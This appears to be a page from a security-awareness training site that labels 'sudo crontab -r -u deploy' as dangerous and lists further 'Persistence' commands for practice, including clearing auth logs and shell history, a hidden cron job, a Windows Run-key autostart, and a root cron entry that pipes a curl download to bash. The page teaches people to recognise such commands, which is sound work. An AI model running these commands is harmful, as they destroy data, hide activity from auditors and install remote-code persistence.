Dangerous
sudo crontab -r -u deploylinux · bash · Beginner
Removes another user's entire crontab with no confirmation. -r sits one key away from -l, which lists it, and there is no undo and no backup copy kept anywhere on the system.
Signals to notice
- -r deletes every scheduled job for the user at once
- no confirmation is shown and no backup is kept
Think you can spot these under time pressure?
Start TrainingMore Persistence
truncate -s 0 /var/log/auth.logIntermediatehistory -c && export HISTFILE=/dev/nullIntermediateecho '* * * * * /tmp/.update' | crontab -Intermediateln -sf /dev/null ~/.bash_historyIntermediateNew-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name Updater -Value 'C:\Users\Public\svc.exe'Advancedecho '*/5 * * * * root curl -s https://example.com/c | bash' | sudo tee -a /etc/cron.d/syncExpert